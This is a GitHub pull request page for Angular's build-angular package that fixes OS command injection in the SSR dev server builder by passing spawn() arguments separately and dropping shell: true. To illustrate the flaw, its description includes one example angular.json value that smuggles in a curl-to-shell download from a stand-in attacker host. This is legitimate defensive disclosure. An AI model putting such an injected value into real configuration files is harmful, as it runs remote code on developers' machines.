fix(build-angular): prevent OS command injection in ssr-dev-server builder#33479
Open
herdiyana256 wants to merge 1 commit into
Open
fix(build-angular): prevent OS command injection in ssr-dev-server builder#33479herdiyana256 wants to merge 1 commit into
herdiyana256 wants to merge 1 commit into
Conversation
…ilder spawnAsObservable() was joining command and args into a single string before passing to spawn(). In startNodeServer(), outputPath from angular.json was embedded in args with manual shell quoting and shell: true. Bash evaluates $() inside double-quoted strings, so a crafted outputPath value in angular.json can trigger arbitrary command execution on ng serve. Fix: pass command and args separately to spawn() so Node.js uses execve() directly. Remove the manual quoting around path and drop shell: true.
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Code Review
This pull request refactors how the Node server is spawned in the SSR dev server builder. It changes the spawning mechanism from running a concatenated command string in a shell to executing the command directly with an array of arguments, removing the need for manual path quoting and the shell option. There are no review comments, and I have no feedback to provide.
Author
|
Reopening this security fix. The VRP report was marked as duplicate |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
spawnAsObservable()inutils.tswas building the shell command by concatenatingcommandandargsinto a single string before passing it tospawn(). The call site instartNodeServer()(index.ts) was passingshell: truealong withoutputPathfrom the builder output embedded as"${path}"in the args array.outputPathderives from the project'sangular.jsonconfiguration. Because bash evaluates$()substitutions inside double-quoted strings, a value likedist/$(curl attacker.com/x.sh|sh)inangular.jsoncauses the substitution to execute whenng serveis run — before Node.js is invoked.Switching to the three-argument form of
spawn(command, args, options)ensures arguments are passed directly to the OS viaexecve()without shell interpretation. The manual quoting aroundpathandshell: trueare no longer needed and have been removed.